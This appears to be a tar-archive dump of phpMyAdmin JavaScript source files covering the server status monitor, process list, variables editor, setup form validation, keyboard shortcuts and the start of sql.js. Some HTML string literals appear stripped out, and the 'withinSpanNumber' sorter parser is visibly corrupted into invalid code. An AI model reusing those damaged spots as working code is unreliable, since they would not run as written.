            '); return cols; } /* Opens the query analyzer dialog */ function openQueryAnalyzer () { var rowData = $(this).parent().data('query'); var query = rowData.argument || rowData.sql_text; if (codeMirrorEditor) { // TODO: somehow Functions.sqlPrettyPrint messes up the query, needs be fixed // query = Functions.sqlPrettyPrint(query); codeMirrorEditor.setValue(query); // Codemirror is bugged, it doesn't refresh properly sometimes. // Following lines seem to fix that setTimeout(function () { codeMirrorEditor.refresh(); }, 50); } else { $('#sqlquery').val(query); } var profilingChart = null; var dlgBtns = { [Messages.strAnalyzeQuery]: { text: Messages.strAnalyzeQuery, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; dlgBtns[Messages.strAnalyzeQuery].click = function () { profilingChart = loadQueryAnalysis(rowData); }; dlgBtns[Messages.strClose].click = function () { $(this).dialog('close'); }; $('#queryAnalyzerDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', resizable: false, buttons: dlgBtns, close: function () { if (profilingChart !== null) { profilingChart.destroy(); } $('#queryAnalyzerDialog').find('div.placeHolder').html(''); if (codeMirrorEditor) { codeMirrorEditor.setValue(''); } else { $('#sqlquery').val(''); } } }); } /* Loads and displays the analyzed query data */ function loadQueryAnalysis (rowData) { var db = rowData.db || ''; var profilingChart = null; $('#queryAnalyzerDialog').find('div.placeHolder').html( Messages.strAnalyzing + ' '); $.post('index.php?route=/server/status/monitor/query', { 'ajax_request': true, 'query': codeMirrorEditor ? codeMirrorEditor.getValue() : $('#sqlquery').val(), 'database': db, 'server': CommonParams.get('server') }, function (responseData) { var data = responseData; var i; var l; if (typeof data !== 'undefined' && data.success === true) { data = data.message; } if (data.error) { if (data.error.indexOf('1146') !== -1 || data.error.indexOf('1046') !== -1) { data.error = Messages.strServerLogError; } $('#queryAnalyzerDialog').find('div.placeHolder').html(''); return; } var totalTime = 0; // Float sux, I'll use table :( $('#queryAnalyzerDialog').find('div.placeHolder') .html('
            '); var explain = '' + Messages.strExplainOutput + ' ' + $('#explain_docu').html(); if (data.explain.length > 1) { explain += ' ('; for (i = 0; i < data.explain.length; i++) { if (i > 0) { explain += ', '; } explain += '' + i + ''; } explain += ')'; } explain += '

            '; var tempExplain = function (key, value) { var newValue = (value === null) ? 'null' : Functions.escapeHtml(value); if (key === 'type' && newValue.toLowerCase() === 'all') { newValue = '' + newValue + ''; } if (key === 'Extra') { newValue = newValue.replace(/(using (temporary|filesort))/gi, '$1'); } explain += key + ': ' + newValue + '
            '; }; for (i = 0, l = data.explain.length; i < l; i++) { explain += '
            0 ? 'style="display:none;"' : '') + '>'; $.each(data.explain[i], tempExplain); explain += '
            '; } explain += '

            ' + Messages.strAffectedRows + ' ' + data.affectedRows; $('#queryAnalyzerDialog').find('div.placeHolder td.explain').append(explain); $('#queryAnalyzerDialog').find('div.placeHolder a[href*="#showExplain"]').on('click', function () { var id = $(this).attr('href').split('-')[1]; $(this).parent().find('div[class*="explain"]').hide(); $(this).parent().find('div[class*="explain-' + id + '"]').show(); }); if (data.profiling) { var chartData = []; var numberTable = ''; var duration; var otherTime = 0; for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); totalTime += duration; numberTable += ''; } // Only put those values in the pie which are > 2% for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); if (duration / totalTime > 0.02) { chartData.push([Functions.prettyProfilingNum(duration, 2) + ' ' + data.profiling[i].state, duration]); } else { otherTime += duration; } } if (otherTime > 0) { chartData.push([Functions.prettyProfilingNum(otherTime, 2) + ' ' + Messages.strOther, otherTime]); } numberTable += ''; numberTable += '
            ' + Messages.strStatus + '' + Messages.strTime + '
            ' + data.profiling[i].state + ' ' + Functions.prettyProfilingNum(duration, 2) + '
            ' + Messages.strTotalTime + '' + Functions.prettyProfilingNum(totalTime, 2) + '
            '; $('#queryAnalyzerDialog').find('div.placeHolder td.chart').append( '' + Messages.strProfilingResults + ' ' + $('#profiling_docu').html() + ' ' + '(' + Messages.strTable + ', ' + Messages.strChart + ')
            ' + numberTable + '

            '); $('#queryAnalyzerDialog').find('div.placeHolder a[href="#showNums"]').on('click', function () { $('#queryAnalyzerDialog').find('#queryProfiling').hide(); $('#queryAnalyzerDialog').find('table.queryNums').show(); return false; }); $('#queryAnalyzerDialog').find('div.placeHolder a[href="#showChart"]').on('click', function () { $('#queryAnalyzerDialog').find('#queryProfiling').show(); $('#queryAnalyzerDialog').find('table.queryNums').hide(); return false; }); profilingChart = Functions.createProfilingChart( 'queryProfiling', chartData ); } }); return profilingChart; } /* Saves the monitor to localstorage */ function saveMonitor () { var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].series = elem.series; gridCopy[key].maxYLabel = elem.maxYLabel; }); if (isStorageSupported('localStorage')) { window.localStorage.monitorCharts = JSON.stringify(gridCopy); window.localStorage.monitorSettings = JSON.stringify(monitorSettings); window.localStorage.monitorVersion = monitorProtocolVersion; } $('a[href="#clearMonitorConfig"]').show(); } }); // Run the monitor once loaded AJAX.registerOnload('server/status/monitor.js', function () { $('a[href="#pauseCharts"]').trigger('click'); }); src/server/status/processes.js000066600000015335151724472060012553 0ustar00/** * Server Status Processes * * @package PhpMyAdmin */ // object to store process list state information var processList = { // denotes whether auto refresh is on or off autoRefresh: false, // stores the GET request which refresh process list refreshRequest: null, // stores the timeout id returned by setTimeout refreshTimeout: null, // the refresh interval in seconds refreshInterval: null, // the refresh URL (required to save last used option) // i.e. full or sorting url refreshUrl: null, /** * Handles killing of a process * * @return {void} */ init: function () { processList.setRefreshLabel(); if (processList.refreshUrl === null) { processList.refreshUrl = 'index.php?route=/server/status/processes/refresh'; } if (processList.refreshInterval === null) { processList.refreshInterval = $('#id_refreshRate').val(); } else { $('#id_refreshRate').val(processList.refreshInterval); } }, /** * Handles killing of a process * * @param {object} event the event object * * @return {void} */ killProcessHandler: function (event) { event.preventDefault(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=1' + argSep + 'server=' + CommonParams.get('server'); // Get row element of the process to be killed. var $tr = $(this).closest('tr'); $.post($(this).attr('href'), params, function (data) { // Check if process was killed or not. if (data.hasOwnProperty('success') && data.success) { // remove the row of killed process. $tr.remove(); // As we just removed a row, reapply odd-even classes // to keep table stripes consistent var $tableProcessListTr = $('#tableprocesslist').find('> tbody > tr'); $tableProcessListTr.each(function (index) { if (index >= 0 && index % 2 === 0) { $(this).removeClass('odd').addClass('even'); } else if (index >= 0 && index % 2 !== 0) { $(this).removeClass('even').addClass('odd'); } }); // Show process killed message Functions.ajaxShowMessage(data.message, false); } else { // Show process error message Functions.ajaxShowMessage(data.error, false); } }, 'json'); }, /** * Handles Auto Refreshing * @return {void} */ refresh: function () { // abort any previous pending requests // this is necessary, it may go into // multiple loops causing unnecessary // requests even after leaving the page. processList.abortRefresh(); // if auto refresh is enabled if (processList.autoRefresh) { // Only fetch the table contents processList.refreshUrl = 'index.php?route=/server/status/processes/refresh'; var interval = parseInt(processList.refreshInterval, 10) * 1000; var urlParams = processList.getUrlParams(); processList.refreshRequest = $.post(processList.refreshUrl, urlParams, function (data) { if (data.hasOwnProperty('success') && data.success) { var $newTable = $(data.message); $('#tableprocesslist').html($newTable.html()); Functions.highlightSql($('#tableprocesslist')); } processList.refreshTimeout = setTimeout( processList.refresh, interval ); }); } }, /** * Stop current request and clears timeout * * @return {void} */ abortRefresh: function () { if (processList.refreshRequest !== null) { processList.refreshRequest.abort(); processList.refreshRequest = null; } clearTimeout(processList.refreshTimeout); }, /** * Set label of refresh button * change between play & pause * * @return {void} */ setRefreshLabel: function () { var img = 'play'; var label = Messages.strStartRefresh; if (processList.autoRefresh) { img = 'pause'; label = Messages.strStopRefresh; processList.refresh(); } $('a#toggleRefresh').html(Functions.getImage(img) + Functions.escapeHtml(label)); }, /** * Return the Url Parameters * for autorefresh request, * includes showExecuting if the filter is checked * * @return {object} urlParams - url parameters with autoRefresh request */ getUrlParams: function () { var urlParams = { 'server': CommonParams.get('server'), 'ajax_request': true, 'refresh': true, 'full': $('input[name="full"]').val(), 'order_by_field': $('input[name="order_by_field"]').val(), 'column_name': $('input[name="column_name"]').val(), 'sort_order': $('input[name="sort_order"]').val() }; if ($('#showExecuting').is(':checked')) { urlParams.showExecuting = true; return urlParams; } return urlParams; } }; AJAX.registerOnload('server/status/processes.js', function () { processList.init(); // Bind event handler for kill_process $('#tableprocesslist').on( 'click', 'a.kill_process', processList.killProcessHandler ); // Bind event handler for toggling refresh of process list $('a#toggleRefresh').on('click', function (event) { event.preventDefault(); processList.autoRefresh = !processList.autoRefresh; processList.setRefreshLabel(); }); // Bind event handler for change in refresh rate $('#id_refreshRate').on('change', function () { processList.refreshInterval = $(this).val(); processList.refresh(); }); // Bind event handler for table header links $('#tableprocesslist').on('click', 'thead a', function () { processList.refreshUrl = $(this).attr('href'); }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/processes.js', function () { $('#tableprocesslist').off('click', 'a.kill_process'); $('a#toggleRefresh').off('click'); $('#id_refreshRate').off('change'); $('#tableprocesslist').off('click', 'thead a'); // stop refreshing further processList.abortRefresh(); }); src/server/status/queries.js000066600000002537151724472060012222 0ustar00/** * @fileoverview Javascript functions used in server status query page * @name Server Status Query * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /* global initTableSorter */ // js/server/status/sorter.js /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/queries.js', function () { if (document.getElementById('serverstatusquerieschart') !== null) { var queryPieChart = $('#serverstatusquerieschart').data('queryPieChart'); if (queryPieChart) { queryPieChart.destroy(); } } }); AJAX.registerOnload('server/status/queries.js', function () { // Build query statistics chart var cdata = []; try { if (document.getElementById('serverstatusquerieschart') !== null) { $.each($('#serverstatusquerieschart').data('chart'), function (key, value) { cdata.push([key, parseInt(value, 10)]); }); $('#serverstatusquerieschart').data( 'queryPieChart', Functions.createProfilingChart( 'serverstatusquerieschart', cdata ) ); } } catch (exception) { // Could not load chart, no big deal... } initTableSorter('statustabs_queries'); }); src/server/status/sorter.js000066600000004007151724472060012055 0ustar00// TODO: tablesorter shouldn't sort already sorted columns // eslint-disable-next-line no-unused-vars function initTableSorter (tabid) { var $table; var opts; switch (tabid) { case 'statustabs_queries': $table = $('#serverStatusQueriesDetails'); opts = { sortList: [[3, 1]], headers: { 1: { sorter: 'fancyNumber' }, 2: { sorter: 'fancyNumber' } } }; break; } $table.tablesorter(opts); $table.find('tr').first().find('th') .append('
            '); } $(function () { $.tablesorter.addParser({ id: 'fancyNumber', is: function (s) { return (/^[0-9]?[0-9,\\.]*\s?(k|M|G|T|%)?$/).test(s); }, format: function (s) { var num = jQuery.tablesorter.formatFloat( s.replace(Messages.strThousandsSeparator, '') .replace(Messages.strDecimalSeparator, '.') ); var factor = 1; switch (s.charAt(s.length - 1)) { case '%': factor = -2; break; // Todo: Complete this list (as well as in the regexp a few lines up) case 'k': factor = 3; break; case 'M': factor = 6; break; case 'G': factor = 9; break; case 'T': factor = 12; break; } return num * Math.pow(10, factor); }, type: 'numeric' }); $.tablesorter.addParser({ id: 'withinSpanNumber', is: function (s) { return (/(.*)?<\/span>/); return (res && res.length >= 3) ? res[2] : 0; }, type: 'numeric' }); }); src/server/status/variables.js000066600000006355151724472060012517 0ustar00/** * * * @package PhpMyAdmin */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/variables.js', function () { $('#filterAlert').off('change'); $('#filterText').off('keyup'); $('#filterCategory').off('change'); $('#dontFormat').off('change'); }); AJAX.registerOnload('server/status/variables.js', function () { // Filters for status variables var textFilter = null; var alertFilter = $('#filterAlert').prop('checked'); var categoryFilter = $('#filterCategory').find(':selected').val(); var text = ''; // Holds filter text /* 3 Filtering functions */ $('#filterAlert').on('change', function () { alertFilter = this.checked; filterVariables(); }); $('#filterCategory').on('change', function () { categoryFilter = $(this).val(); filterVariables(); }); $('#dontFormat').on('change', function () { // Hiding the table while changing values speeds up the process a lot const serverStatusVariables = $('#serverStatusVariables'); serverStatusVariables.hide(); serverStatusVariables.find('td.value span.original').toggle(this.checked); serverStatusVariables.find('td.value span.formatted').toggle(! this.checked); serverStatusVariables.show(); }).trigger('change'); $('#filterText').on('keyup', function () { var word = $(this).val().replace(/_/g, ' '); if (word.length === 0 || word.length >= 32768) { textFilter = null; } else { try { textFilter = new RegExp('(^| )' + word, 'i'); $(this).removeClass('error'); } catch (e) { if (e instanceof SyntaxError) { $(this).addClass('error'); textFilter = null; } } } text = word; filterVariables(); }).trigger('keyup'); /* Filters the status variables by name/category/alert in the variables tab */ function filterVariables () { var usefulLinks = 0; var section = text; if (categoryFilter.length > 0) { section = categoryFilter; } if (section.length > 1) { $('#linkSuggestions').find('span').each(function () { if ($(this).attr('class').indexOf('status_' + section) !== -1) { usefulLinks++; $(this).css('display', ''); } else { $(this).css('display', 'none'); } }); } if (usefulLinks > 0) { $('#linkSuggestions').css('display', ''); } else { $('#linkSuggestions').css('display', 'none'); } $('#serverStatusVariables').find('th.name').each(function () { if ((textFilter === null || textFilter.exec($(this).text())) && (! alertFilter || $(this).next().find('span.text-danger').length > 0) && (categoryFilter.length === 0 || $(this).parent().hasClass('s_' + categoryFilter)) ) { $(this).parent().css('display', ''); } else { $(this).parent().css('display', 'none'); } }); } }); src/server/user_groups.js000066600000002547151724472060011600 0ustar00/** * @fileoverview Javascript functions used in server user groups page * @name Server User Groups * * @requires jQuery */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/user_groups.js', function () { $('#deleteUserGroupModal').off('show.bs.modal'); }); /** * Bind event handlers */ AJAX.registerOnload('server/user_groups.js', function () { const deleteUserGroupModal = $('#deleteUserGroupModal'); deleteUserGroupModal.on('show.bs.modal', function (event) { const userGroupName = $(event.relatedTarget).data('user-group'); this.querySelector('.modal-body').innerText = Functions.sprintf( Messages.strDropUserGroupWarning, Functions.escapeHtml(userGroupName) ); }); deleteUserGroupModal.on('shown.bs.modal', function (event) { const userGroupName = $(event.relatedTarget).data('user-group'); $('#deleteUserGroupConfirm').on('click', function () { $.post( 'index.php?route=/server/user-groups', { 'deleteUserGroup': true, 'userGroup': userGroupName, 'ajax_request': true, }, AJAX.responseHandler ); $('#deleteUserGroupModal').modal('hide'); }); }); }); src/server/variables.js000066600000010757151724472060011175 0ustar00/** * @fileoverview Javascript functions used in server variables page * @name Server Replication * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/variables.js', function () { $(document).off('click', 'a.editLink'); $('#serverVariables').find('.var-name').find('a img').remove(); }); AJAX.registerOnload('server/variables.js', function () { var $saveLink = $('a.saveLink'); var $cancelLink = $('a.cancelLink'); $('#serverVariables').find('.var-name').find('a').append( $('#docImage').clone().css('display', 'inline-block') ); /* Launches the variable editor */ $(document).on('click', 'a.editLink', function (event) { event.preventDefault(); editVariable(this); }); /* Allows the user to edit a server variable */ function editVariable (link) { var $link = $(link); var $cell = $link.parent(); var $valueCell = $link.parents('.var-row').find('.var-value'); var varName = $link.data('variable'); var $mySaveLink = $saveLink.clone().css('display', 'inline-block'); var $myCancelLink = $cancelLink.clone().css('display', 'inline-block'); var $msgbox = Functions.ajaxShowMessage(); var $myEditLink = $cell.find('a.editLink'); $cell.addClass('edit'); // variable is being edited $myEditLink.remove(); // remove edit link $mySaveLink.on('click', function () { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/server/variables/set/' + encodeURIComponent(varName), { 'ajax_request': true, 'server': CommonParams.get('server'), 'varValue': $valueCell.find('input').val() }, function (data) { if (data.success) { $valueCell .html(data.variable) .data('content', data.variable); Functions.ajaxRemoveMessage($msgbox); } else { if (data.error === '') { Functions.ajaxShowMessage(Messages.strRequestFailed, false); } else { Functions.ajaxShowMessage(data.error, false); } $valueCell.html($valueCell.data('content')); } $cell.removeClass('edit').html($myEditLink); }); return false; }); $myCancelLink.on('click', function () { $valueCell.html($valueCell.data('content')); $cell.removeClass('edit').html($myEditLink); return false; }); $.get('index.php?route=/server/variables/get/' + encodeURIComponent(varName), { 'ajax_request': true, 'server': CommonParams.get('server') }, function (data) { if (typeof data !== 'undefined' && data.success === true) { var $links = $('
            ') .append($myCancelLink) .append('   ') .append($mySaveLink); var $editor = $('
            ', { 'class': 'serverVariableEditor' }) .append( $('
            ').append( $('', { type: 'text', 'class': 'form-control form-control-sm' }).val(data.message) ) ); // Save and replace content $cell .html($links) .children() .css('display', 'flex'); $valueCell .data('content', $valueCell.html()) .html($editor) .find('input') .trigger('focus') .on('keydown', function (event) { // Keyboard shortcuts if (event.keyCode === 13) { // Enter key $mySaveLink.trigger('click'); } else if (event.keyCode === 27) { // Escape key $myCancelLink.trigger('click'); } }); Functions.ajaxRemoveMessage($msgbox); } else { $cell.removeClass('edit').html($myEditLink); Functions.ajaxShowMessage(data.error); } }); } }); src/setup/ajax.js000066600000000342151724472060007767 0ustar00/* eslint-disable no-unused-vars */ /** * Dummy implementation of the ajax page loader */ var AJAX = { registerOnload: function (idx, func) { $(func); }, registerTeardown: function (idx, func) { } }; src/setup/scripts.js000066600000014464151724472060010545 0ustar00/** * Functions used in Setup configuration forms */ /* global displayErrors, getAllValues, getIdPrefix, validators */ // js/config.js // show this window in top frame if (top !== self) { window.top.location.href = location; } // ------------------------------------------------------------------ // Messages // $(function () { if (window.location.protocol === 'https:') { $('#no_https').remove(); } else { $('#no_https a').on('click', function () { var oldLocation = window.location; window.location.href = 'https:' + oldLocation.href.substring(oldLocation.protocol.length); return false; }); } var hiddenMessages = $('.hiddenmessage'); if (hiddenMessages.length > 0) { hiddenMessages.hide(); var link = $('#show_hidden_messages'); link.on('click', function (e) { e.preventDefault(); hiddenMessages.show(); $(this).remove(); }); link.html(link.html().replace('#MSG_COUNT', hiddenMessages.length)); link.show(); } }); // set document width $(function () { var width = 0; $('ul.tabs li').each(function () { width += $(this).width() + 10; }); var contentWidth = width; width += 250; $('body').css('min-width', width); $('.tabs_contents').css('min-width', contentWidth); }); // // END: Messages // ------------------------------------------------------------------ // ------------------------------------------------------------------ // Form validation and field operations // /** * Calls server-side validation procedures * * @param {Element} parent input field in
            or
            * @param {String} id validator id * @param {object} values values hash {element1_id: value, ...} * * @return {bool|void} */ function ajaxValidate (parent, id, values) { var $parent = $(parent); // ensure that parent is a fieldset if ($parent.attr('tagName') !== 'FIELDSET') { $parent = $parent.closest('fieldset'); if ($parent.length === 0) { return false; } } if ($parent.data('ajax') !== null) { $parent.data('ajax').abort(); } $parent.data('ajax', $.ajax({ url: 'validate.php', cache: false, type: 'POST', data: { token: $parent.closest('form').find('input[name=token]').val(), id: id, values: JSON.stringify(values) }, success: function (response) { if (response === null) { return; } var error = {}; if (typeof response !== 'object') { error[$parent.id] = [response]; } else if (typeof response.error !== 'undefined') { error[$parent.id] = [response.error]; } else { for (var key in response) { var value = response[key]; error[key] = Array.isArray(value) ? value : [value]; } } displayErrors(error); }, complete: function () { $parent.removeData('ajax'); } })); return true; } /** * Automatic form submission on change. */ $(document).on('change', '.autosubmit', function (e) { e.target.form.submit(); }); $.extend(true, validators, { // field validators field: { /** * hide_db field * * @param {boolean} isKeyUp * * @return {true} */ hide_db: function (isKeyUp) { // eslint-disable-line camelcase if (!isKeyUp && this.value !== '') { var data = {}; data[this.id] = this.value; ajaxValidate(this, 'Servers/1/hide_db', data); } return true; }, /** * TrustedProxies field * * @param {boolean} isKeyUp * * @return {true} */ TrustedProxies: function (isKeyUp) { if (!isKeyUp && this.value !== '') { var data = {}; data[this.id] = this.value; ajaxValidate(this, 'TrustedProxies', data); } return true; } }, // fieldset validators fieldset: { /** * Validates Server fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server: function (isKeyUp) { if (!isKeyUp) { ajaxValidate(this, 'Server', getAllValues()); } return true; }, /** * Validates Server_login_options fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server_login_options: function (isKeyUp) { // eslint-disable-line camelcase return validators.fieldset.Server.apply(this, [isKeyUp]); }, /** * Validates Server_pmadb fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server_pmadb: function (isKeyUp) { // eslint-disable-line camelcase if (isKeyUp) { return true; } var prefix = getIdPrefix($(this).find('input')); if ($('#' + prefix + 'pmadb').val() !== '') { ajaxValidate(this, 'Server_pmadb', getAllValues()); } return true; } } }); // // END: Form validation and field operations // ------------------------------------------------------------------ // ------------------------------------------------------------------ // User preferences allow/disallow UI // $(function () { $('.userprefs-allow').on('click', function (e) { if (this !== e.target) { return; } var el = $(this).find('input'); if (el.prop('disabled')) { return; } el.prop('checked', !el.prop('checked')); }); }); // // END: User preferences allow/disallow UI // ------------------------------------------------------------------ $(function () { $('.delete-server').on('click', function (e) { e.preventDefault(); var $this = $(this); $.post($this.attr('href'), $this.attr('data-post'), function () { window.location.replace('index.php'); }); }); }); src/shortcuts_handler.js000066600000007345151724472060011451 0ustar00/** * @fileoverview Handle shortcuts in various pages * @name Shortcuts handler * * @requires jQuery * @requires jQueryUI */ /* global Console */ // js/console.js /** * Register key events on load */ $(function () { var databaseOp = false; var tableOp = false; var keyD = 68; var keyT = 84; var keyK = 75; var keyS = 83; var keyF = 70; var keyE = 69; var keyH = 72; var keyC = 67; var keyBackSpace = 8; $(document).on('keyup', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } if (e.keyCode === keyD) { setTimeout(function () { databaseOp = false; }, 2000); } else if (e.keyCode === keyT) { setTimeout(function () { tableOp = false; }, 2000); } }); $(document).on('keydown', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } // disable the shortcuts when session has timed out. if ($('#modalOverlay').length > 0) { return; } if (e.ctrlKey && e.altKey && e.keyCode === keyC) { Console.toggle(); } if (e.ctrlKey && e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } var isTable; var isDb; if (e.keyCode === keyD) { databaseOp = true; } else if (e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } else if (e.keyCode === keyS) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && ! isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else { $('#pma_navigation_settings_icon').trigger('click'); } } else if (e.keyCode === keyF) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && ! isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } } else if (e.keyCode === keyT) { tableOp = true; } else if (e.keyCode === keyE) { $('.ic_b_export').first().trigger('click'); } else if (e.keyCode === keyBackSpace) { window.history.back(); } else if (e.keyCode === keyH) { $('.ic_b_home').first().trigger('click'); } }); }); src/sql.js000066600000116436151724472060006517 0ustar00/** * @fileoverview functions used wherever an sql query form is used * * @requires jQuery * @requires js/functions.js * * @test-module Sql */ /* global isStorageSupported */ // js/config.js /* global codeMirrorEditor */ // js/functions.js /* global makeGrid */ // js/makegrid.js /* global sqlBoxLocked */ // js/functions.js var Sql = {}; /** * decode a string URL_encoded * * @param {string} str * @return {string} the URL-decoded string */ Sql.urlDecode = function (str) { if (typeof str !== 'undefined') { return decodeURIComponent(str.replace(/\+/g, '%20')); } }; /** * encode a string URL_decoded * * @param {string} str * @return {string} the URL-encoded string */ Sql.urlEncode = function (str) { if (typeof str !== 'undefined') { return encodeURIComponent(str).replace(/%20/g, '+'); } }; /** * Saves SQL query in local storage or cookie * * @param {string} query SQL query * @return {void} */ Sql.autoSave = function (query) { if (query) { var key = Sql.getAutoSavedKey(); if (isStorageSupported('localStorage')) { window.localStorage.setItem(key, query); } else { Cookies.set(key, query); } } }; /** * Saves SQL query in local storage or cookie * * @param {string} db database name * @param {string} table table name * @param {string} query SQL query * @return {void} */ Sql.showThisQuery = function (db, table, query) { var showThisQueryObject = { 'db': db, 'table': table, 'query': query }; if (isStorageSupported('localStorage')) { window.localStorage.showThisQuery = 1; window.localStorage.showThisQueryObject = JSON.stringify(showThisQueryObject); } else { Cookies.set('showThisQuery', 1); Cookies.set('showThisQueryObject', JSON.stringify(showThisQueryObject)); } }; /** * Set query to codemirror if show this query is * checked and query for the db and table pair exists */ Sql.setShowThisQuery = function () { var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); if (isStorageSupported('localStorage')) { if (window.localStorage.showThisQueryObject !== undefined) { var storedDb = JSON.parse(window.localStorage.showThisQueryObject).db; var storedTable = JSON.parse(window.localStorage.showThisQueryObject).table; var storedQuery = JSON.parse(window.localStorage.showThisQueryObject).query; } if (window.localStorage.showThisQuery !== undefined && window.localStorage.showThisQuery === '1') { $('input[name="show_query"]').prop('checked', true); if (db === storedDb && table === storedTable) { if (codeMirrorEditor) { codeMirrorEditor.setValue(storedQuery); } else if (document.sqlform) { document.sqlform.sql_query.value = storedQuery; } } } else { $('input[name="show_query"]').prop('checked', false); } } }; /** * Saves SQL query with sort in local storage or cookie * * @param {string} query SQL query * @return {void} */ Sql.autoSaveWithSort = function (query) { if (query) { if (isStorageSupported('localStorage')) { window.localStorage.setItem('autoSavedSqlSort', query); } else { Cookies.set('autoSavedSqlSort', query); } } }; /** * Clear saved SQL query with sort in local storage or cookie * * @return {void} */ Sql.clearAutoSavedSort = function () { if (isStorageSupported('localStorage')) { window.localStorage.removeItem('autoSavedSqlSort'); } else { Cookies.set('autoSavedSqlSort', ''); } }; /** * Get the field name for the current field. Required to construct the query * for grid editing * * @param $tableResults enclosing results table * @param $thisField jQuery object that points to the current field's tr * * @return {string} */ Sql.getFieldName = function ($tableResults, $thisField) { var thisFieldIndex = $thisField.index(); // ltr or rtl direction does not impact how the DOM was generated // check if the action column in the left exist var leftActionExist = !$tableResults.find('th').first().hasClass('draggable'); // number of column span for checkbox and Actions var leftActionSkip = leftActionExist ? $tableResults.find('th').first().attr('colspan') - 1 : 0; // If this column was sorted, the text of the a element contains something // like 1 that is useful to indicate the order in case // of a sort on multiple columns; however, we dont want this as part // of the column name so we strip it ( .clone() to .end() ) var fieldName = $tableResults .find('thead') .find('th') .eq(thisFieldIndex - leftActionSkip) .find('a') .clone() // clone the element .children() // select all the children .remove() // remove all of them .end() // go back to the selected element .text(); // grab the text // happens when just one row (headings contain no a) if (fieldName === '') { var $heading = $tableResults.find('thead').find('th').eq(thisFieldIndex - leftActionSkip).children('span'); // may contain column comment enclosed in a span - detach it temporarily to read the column name var $tempColComment = $heading.children().detach(); fieldName = $heading.text(); // re-attach the column comment $heading.append($tempColComment); } fieldName = fieldName.trim(); return fieldName; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('sql.js', function () { $(document).off('click', 'a.delete_row.ajax'); $(document).off('submit', '.bookmarkQueryForm'); $('input#bkm_label').off('input'); $(document).off('makegrid', '.sqlqueryresults'); $('#togglequerybox').off('click'); $(document).off('click', '#button_submit_query'); $(document).off('change', '#id_bookmark'); $('input[name=\'bookmark_variable\']').off('keypress'); $(document).off('submit', '#sqlqueryform.ajax'); $(document).off('click', 'input[name=navig].ajax'); $(document).off('submit', 'form[name=\'displayOptionsForm\'].ajax'); $(document).off('mouseenter', 'th.column_heading.pointer'); $(document).off('mouseleave', 'th.column_heading.pointer'); $(document).off('click', 'th.column_heading.marker'); $(document).off('scroll', window); $(document).off('keyup', '.filter_rows'); if (codeMirrorEditor) { codeMirrorEditor.off('change'); } else { $('#sqlquery').off('input propertychange'); } $('body').off('click', '.navigation .showAllRows'); $('body').off('click', 'a.browse_foreign'); $('body').off('click', '#simulate_dml'); $('body').off('keyup', '#sqlqueryform'); $('body').off('click', 'form[name="resultsForm"].ajax button[name="submit_mult"], form[name="resultsForm"].ajax input[name="submit_mult"]'); $(document).off('submit', '.maxRowsForm'); $(document).off('click', '#view_as'); $(document).off('click', '#sqlquery'); }); /** * @description

            Ajax scripts for sql and browse pages

            * * Actions ajaxified here: *
              *
            • Retrieve results of an SQL query
            • *
            • Paginate the results table
            • *
            • Sort the results table
            • *
            • Change table according to display options
            • *
            • Grid editing of data
            • *
            • Saving a bookmark
            • *
